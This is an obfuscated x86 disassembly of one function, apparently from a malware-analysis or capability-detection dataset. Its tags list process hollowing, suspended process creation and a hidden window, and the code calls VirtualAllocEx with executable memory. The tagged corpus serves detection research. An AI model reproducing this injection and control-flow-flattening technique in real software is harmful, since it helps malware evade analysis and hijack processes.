Function at 0x10002c80
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xf4
mov eax, dword [0x1009f000]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xfc], 0x86d2b8b7
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x100], eax
sub eax, 0x8091e3b7
je 0x10005e47
jmp 0x10002cbc
mov eax, dword [ebp - 0x100]
sub eax, 0x811bec00
je 0x100072e5
jmp 0x10002cd2
mov eax, dword [ebp - 0x100]
sub eax, 0x8148b84a
je 0x100056f1
jmp 0x10002ce8
mov eax, dword [ebp - 0x100]
sub eax, 0x837be160
je 0x1000a5df
jmp 0x10002cfe
mov eax, dword [ebp - 0x100]
sub eax, 0x83b6b4ae
je 0x1000a7d6
jmp 0x10002d14
mov eax, dword [ebp - 0x100]
sub eax, 0x840b347d
je 0x10006cd6
jmp 0x10002d2a
mov eax, dword [ebp - 0x100]
sub eax, 0x84bcf9ba
je 0x10007f0e
jmp 0x10002d40
mov eax, dword [ebp - 0x100]
sub eax, 0x84eea7f3
je 0x10008caf
jmp 0x10002d56
mov eax, dword [ebp - 0x100]
sub eax, 0x8527d1bc
je 0x1000a2e3
jmp 0x10002d6c
mov eax, dword [ebp - 0x100]
sub eax, 0x854fa3eb
je 0x10006862
jmp 0x10002d82
mov eax, dword [ebp - 0x100]
sub eax, 0x85f126d6
je 0x10009edb
jmp 0x10002d98
mov eax, dword [ebp - 0x100]
sub eax, 0x8655a790
je 0x10009b8d
jmp 0x10002dae
mov eax, dword [ebp - 0x100]
sub eax, 0x867a471c
je 0x10006542
jmp 0x10002dc4
mov eax, dword [ebp - 0x100]
sub eax, 0x86d2b8b7
je 0x10005131
jmp 0x10002dda
mov eax, dword [ebp - 0x100]
sub eax, 0x86f6db69
je 0x10005e73
jmp 0x10002df0
mov eax, dword [ebp - 0x100]
sub eax, 0x887cba0c
je 0x10009185
jmp 0x10002e06
mov eax, dword [ebp - 0x100]
sub eax, 0x89d83a25
je 0x1000a7b8
jmp 0x10002e1c
mov eax, dword [ebp - 0x100]
sub eax, 0x8a728a31
je 0x10008cd0
jmp 0x10002e32
mov eax, dword [ebp - 0x100]
sub eax, 0x8a7f394c
je 0x1000a7c7
jmp 0x10002e48
mov eax, dword [ebp - 0x100]
sub eax, 0x8aad7ef7
je 0x1000a2d4
jmp 0x10002e5e
mov eax, dword [ebp - 0x100]
sub eax, 0x8b5c15c7
je 0x1000a47a
jmp 0x10002e74
mov eax, dword [ebp - 0x100]
sub eax, 0x8b754afe
je 0x1000628c
jmp 0x10002e8a
mov eax, dword [ebp - 0x100]
sub eax, 0x8b7c29f0
je 0x100062e8
jmp 0x10002ea0
mov eax, dword [ebp - 0x100]
sub eax, 0x8c9ad7c7
je 0x100074d8
jmp 0x10002eb6
mov eax, dword [ebp - 0x100]
sub eax, 0x8cbe68e0
je 0x10009d22
jmp 0x10002ecc
mov eax, dword [ebp - 0x100]
sub eax, 0x8d8c85ac
je 0x1000a862
jmp 0x10002ee2
mov eax, dword [ebp - 0x100]
sub eax, 0x8dd6c18d
je 0x10007c7d
jmp 0x10002ef8
mov eax, dword [ebp - 0x100]
sub eax, 0x8de636cb
je 0x1000a5c1
jmp 0x10002f0e
mov eax, dword [ebp - 0x100]
sub eax, 0x8e8fd661
je 0x10005d95
jmp 0x10002f24
mov eax, dword [ebp - 0x100]
sub eax, 0x8efbaf66
je 0x10005de6
jmp 0x10002f3a
mov eax, dword [ebp - 0x100]
sub eax, 0x8f520d17
je 0x100074e7
jmp 0x10002f50
mov eax, dword [ebp - 0x100]
sub eax, 0x8fc0a5cf
je 0x1000660d
jmp 0x10002f66
mov eax, dword [ebp - 0x100]
sub eax, 0x90320a83
je 0x10005523
jmp 0x10002f7c
mov eax, dword [ebp - 0x100]
sub eax, 0x9168a4bc
je 0x1000abaa
jmp 0x10002f92
mov eax, dword [ebp - 0x100]
sub eax, 0x920fc5d5
je 0x100063dc
jmp 0x10002fa8
mov eax, dword [ebp - 0x100]
sub eax, 0x922b9c01
je 0x10008ede
jmp 0x10002fbe
mov eax, dword [ebp - 0x100]
sub eax, 0x9272e172
je 0x1000aa96
jmp 0x10002fd4
mov eax, dword [ebp - 0x100]
sub eax, 0x9333fe58
je 0x1000687f
jmp 0x10002fea
mov eax, dword [ebp - 0x100]
sub eax, 0x937704fd
je 0x100091d6
jmp 0x10003000
mov eax, dword [ebp - 0x100]
sub eax, 0x938add1e
je 0x1000aa68
jmp 0x10003016
mov eax, dword [ebp - 0x100]
sub eax, 0x93997d1e
je 0x10008690
jmp 0x1000302c
mov eax, dword [ebp - 0x100]
sub eax, 0x942c3990
je 0x10008b91
jmp 0x10003042
mov eax, dword [ebp - 0x100]
sub eax, 0x94325bfc
je 0x10007306
jmp 0x10003058
mov eax, dword [ebp - 0x100]
sub eax, 0x94a04401
je 0x1000822d
jmp 0x1000306e
mov eax, dword [ebp - 0x100]
sub eax, 0x950d1bd5
je 0x10007c2c
jmp 0x10003084
mov eax, dword [ebp - 0x100]
sub eax, 0x95491f16
je 0x10007cdd
jmp 0x1000309a
mov eax, dword [ebp - 0x100]
sub eax, 0x95de0f69
je 0x100080fa
jmp 0x100030b0
mov eax, dword [ebp - 0x100]
sub eax, 0x96ab989f
je 0x10007626
jmp 0x100030c6
mov eax, dword [ebp - 0x100]
sub eax, 0x96d6ca1e
je 0x1000af9d
jmp 0x100030dc
mov eax, dword [ebp - 0x100]
sub eax, 0x970ce3ab
je 0x1000ab08
jmp 0x100030f2
mov eax, dword [ebp - 0x100]
sub eax, 0x97a29621
je 0x1000a070
jmp 0x10003108
mov eax, dword [ebp - 0x100]
sub eax, 0x980f8ab5
je 0x1000a832
jmp 0x1000311e
mov eax, dword [ebp - 0x100]
sub eax, 0x98868804
je 0x1000659f
jmp 0x10003134
mov eax, dword [ebp - 0x100]
sub eax, 0x98bfdc03
je 0x100075e4
jmp 0x1000314a
mov eax, dword [ebp - 0x100]
sub eax, 0x9937dde7
je 0x10008370
jmp 0x10003160
mov eax, dword [ebp - 0x100]
sub eax, 0x9a4708f6
je 0x1000618f
jmp 0x10003176
mov eax, dword [ebp - 0x100]
sub eax, 0x9a73b321
je 0x10007f1d
jmp 0x1000318c
mov eax, dword [ebp - 0x100]
sub eax, 0x9ae68b86
je 0x10007bf9
jmp 0x100031a2
mov eax, dword [ebp - 0x100]
sub eax, 0x9af43383
je 0x100093c4
jmp 0x100031b8
mov eax, dword [ebp - 0x100]
sub eax, 0x9b566f83
je 0x100078ba
jmp 0x100031ce
mov eax, dword [ebp - 0x100]
sub eax, 0x9b7c47f7
je 0x10009007
jmp 0x100031e4
mov eax, dword [ebp - 0x100]
sub eax, 0x9bd3359c
je 0x10007344
jmp 0x100031fa
mov eax, dword [ebp - 0x100]
sub eax, 0x9ca135e9
je 0x1000991c
jmp 0x10003210
mov eax, dword [ebp - 0x100]
sub eax, 0x9cba35df
je 0x1000ab9b
jmp 0x10003226
mov eax, dword [ebp - 0x100]
sub eax, 0x9cdbe7a4
je 0x1000898b
mov eax, dword [0x100a0328]
mov ecx, dword [0x100a0324]
mov edx, eax
sub edx, 0x2813df31
sub edx, 1
add edx, 0x2813df31
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd4718ee7
mov ecx, 0x10d00276
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b209
movss xmm0, dword [0x100183a8]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0xfc], 0xb2535eec
jmp 0x1000b209
movss xmm0, dword [0x1001822c]
movss dword [ebp - 0xf0], xmm0
movss xmm0, dword [0x10018228]
movss dword [ebp - 0xf0], xmm0
mov eax, dword [0x100a0328]
mov ecx, dword [0x100a0324]
mov edx, eax
add edx, 0xb81fd6eb
sub edx, 1
sub edx, 0xb81fd6eb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf39f2caa
mov ecx, 0xd6a970c2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b209
mov eax, dword [0x100a0328]
mov ecx, dword [0x100a0324]
mov edx, eax
sub edx, 0x3463ac3a
sub edx, 1
add edx, 0x3463ac3a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x396d3b0
mov ecx, 0x8efbaf66
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b209
movss xmm0, dword [0x10018218]
movss dword [ebp - 0xf4], xmm0
mov eax, dword [0x100a0328]
mov ecx, dword [0x100a0324]
mov edx, eax
add edx, 0xb5bafb67
sub edx, 1
sub edx, 0xb5bafb67
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x396d3b0
mov ecx, 0x8091e3b7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b209
mov dword [ebp - 0xfc], 0x25366618
jmp 0x1000b209
movss xmm0, dword [0x10018370]
movss dword [ebp - 0xf4], xmm0
movss xmm0, dword [0x1001836c]
movss dword [ebp - 0xf4], xmm0
mov dword [ebp - 0xfc], 0xce7aa705
jmp 0x1000b209
mov ecx, dword [0x100a0328]
mov eax, dword [0x100a0324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x433d4705
mov ecx, 0x160fbc6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b209
movss xmm0, dword [0x10018360]
movss dword [ebp - 0xf8], xmm0
movss xmm0, dword [0x1001835c]
movss dword [ebp - 0xf8], xmm0
movss xmm0, dword [0x10018358]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0xfc], 0x2e1da12f
jmp 0x1000b209
movss xmm0, dword [0x10018354]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0xfc], 0x31a11b32
jmp 0x1000b209
mov ecx, dword [0x100a0328]
mov eax, dword [0x100a0324]
mov edx, ecx
sub edx, 0xca9b7bfa
sub edx, 1
add edx, 0xca9b7bfa
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x938add1e
mov ecx, 0x3d00b818
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b209
movss xmm0, dword [0x10018334]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0xfc], 0x62edd5e2
jmp 0x1000b209
mov ecx, dword [0x100a0328]
mov eax, dword [0x100a0324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x74f04f21
mov ecx, 0x8fc0a5cf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b209
mov eax, dword [0x100a0328]
mov ecx, dword [0x100a0324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x74f04f21
mov ecx, 0xe496a47b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b209
mov dl, 1
mov eax, 0xc3390df
mov ecx, 0x9333fe58
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b209
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x10018308]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x10018304]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0x769e7504
jmp 0x1000b209
mov eax, dword [0x100a0328]
mov ecx, dword [0x100a0324]
mov edx, eax
add edx, 0xa055788d
sub edx, 1
sub edx, 0xa055788d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x970ce3ab
mov ecx, 0xb1465b12
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b209
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x100182d0]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0x94325bfc
jmp 0x1000b209
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x100182cc]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0xa0dc0a78
jmp 0x1000b209
mov ecx, dword [0x100a0328]
mov eax, dword [0x100a0324]
mov edx, ecx
sub edx, 0xd225d0b2
sub edx, 1
add edx, 0xd225d0b2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9168a4bc
mov ecx, 0xbe495cb1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b209
mov dword [ebp - 0xfc], 0x8f520d17
jmp 0x1000b209
mov ecx, dword [0x100a0328]
mov eax, dword [0x100a0324]
mov edx, ecx
sub edx, 0x320c02a8
sub edx, 1
add edx, 0x320c02a8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa5cca6be
mov ecx, 0xb0b1dabc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b209
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x100182c8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x100182c4]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0x7dc750bc
jmp 0x1000b209
mov eax, dword [0x100a0328]
mov ecx, dword [0x100a0324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9ec4e62c
mov ecx, 0x3f64f51f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b209
mov eax, dword [0x100a0328]
mov ecx, dword [0x100a0324]
mov edx, eax
add edx, 0x8b6b64a1
sub edx, 1
sub edx, 0x8b6b64a1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe054c212
mov ecx, 0xdd26228
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b209
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x1001829c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x10018298]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0x950d1bd5
jmp 0x1000b209
mov eax, dword [0x100a0328]
mov ecx, dword [0x100a0324]
mov edx, eax
add edx, 0xc66a6de0
sub edx, 1
sub edx, 0xc66a6de0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5addceef
mov ecx, 0x8dd6c18d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b209
mov eax, dword [0x100a0328]
mov ecx, dword [0x100a0324]
mov edx, eax
sub edx, 0x9f848c9a
sub edx, 1
add edx, 0x9f848c9a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5addceef
mov ecx, 0x11f014f1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b209
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x10018294]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0x414d37d1
jmp 0x1000b209
mov dword [ebp - 0xfc], 0x9a73b321
jmp 0x1000b209
mov dword [ebp - 0xfc], 0xf182f292
jmp 0x1000b209
mov dword [ebp - 0xfc], 0x2ae2bb9b
jmp 0x1000b209
mov dword [ebp - 0xfc], 0xe161a8da
jmp 0x1000b209
mov dword [ebp - 0xfc], 0x76a7b633
jmp 0x1000b209
mov dl, 1
mov eax, 0xf046c4e1
mov ecx, 0xf4103144
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b209
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x10018250]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0xb13ef973
jmp 0x1000b209
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x10018248]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0x8a728a31
jmp 0x1000b209
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x10018244]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0xd5a80e26
jmp 0x1000b209
mov dword [ebp - 0xfc], 0x9d36770a
jmp 0x1000b209
mov dword [ebp - 0xfc], 0xd4c6578a
jmp 0x1000b209
mov eax, dword [0x100a0328]
mov ecx, dword [0x100a0324]
mov edx, eax
add edx, 0x92c813b2
sub edx, 1
sub edx, 0x92c813b2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x81a689
mov ecx, 0x937704fd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b209
mov ecx, dword [0x100a0328]
mov eax, dword [0x100a0324]
mov edx, ecx
add edx, 0x3ae7aee
sub edx, 1
sub edx, 0x3ae7aee
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x81a689
mov ecx, 0xf3ad7967
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b209
mov dword [ebp - 0xfc], 0x1a2980a7
jmp 0x1000b209
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x9c]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x58], eax
mov ecx, dword [0x100a0328]
mov eax, dword [0x100a0324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4f17ac6c
mov ecx, 0xa393356d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b209
mov dword [ebp - 0xfc], 0xeaea99f4
jmp 0x1000b209
mov dword [ebp - 0xfc], 0x2473346c
jmp 0x1000b209
mov dword [ebp - 0xfc], 0x64e4d5fe
jmp 0x1000b209
mov ecx, dword [0x100a0328]
mov eax, dword [0x100a0324]
mov edx, ecx
sub edx, 0x51f00c69
sub edx, 1
add edx, 0x51f00c69
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1b5fba48
mov ecx, 0x5d5dfdff
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b209
mov dword [ebp - 0xfc], 0x8527d1bc
jmp 0x1000b209
mov eax, dword [ebp - 0x88]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x90]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0xfc], 0x26be955b
jmp 0x1000b209
mov ecx, dword [0x100a0328]
mov eax, dword [0x100a0324]
mov edx, ecx
add edx, 0x734a1a01
sub edx, 1
sub edx, 0x734a1a01
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x52fdb6d9
mov ecx, 0xb978dbb2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xfc], eax
jmp 0x1000b209
mov dword [ebp - 0xfc], 0xf446ad0d
jmp 0x1000b209
mov eax, dword [ebp - 0x88]
mov ecx, dword [eax]
sub ecx, 0xe35860ae
add ecx, 1
add ecx, 0xe35860ae
mov eax, dword [ebp - 0x88]
mov dword [eax], ecx
mov dword [ebp - 0xfc], 0xbf7f4e2a
jmp 0x1000b209
mov dword [ebp - 0xfc], 0x8a7f394c
jmp 0x1000b209
mov dword [ebp - 0xfc], 0x83b6b4ae
jmp 0x1000b209
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xfc], 0xb85de3a9
jmp 0x1000b209
mov dword [ebp - 0xfc], 0x1104ddd7
jmp 0x1000b209
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100012d0
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.100012d0
add esp, 4
movss xmm0, dword [0x10018240]
movss dword [ebp - 0xf0], xmm0
movss xmm0, dword [0x1001823c]
movss dword [ebp - 0xf0], xmm0
movss xmm0, dword [0x10018238]
movss dword [ebp - 0xf0], xmm0
mov dword [ebp - 0xfc], 0x5aac1fb5
jmp 0x1000b209
movss xmm0, dword [0x10018204]
movss dword [ebp - 0xf8], xmm0
mov dword [ebp - 0xfc], 0x3d00b818
jmp 0x1000b209
mov dword [ebp - 0xfc], 0x59007574
jmp 0x1000b209
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x100181f4]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0xb1465b12
jmp 0x1000b209
mov dword [ebp - 0xfc], 0x38b61a15
jmp 0x1000b209
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x100181e4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x100181e0]
movss dword [eax], xmm0
mov dword [ebp - 0xfc], 0xbe495cb1
jmp 0x1000b209
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0xc8]
mov ecx, dword [ecx]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov dword [ebp - 0xfc], 0xbac4bdbe
jmp 0x1000b209
jmp 0x10002ca0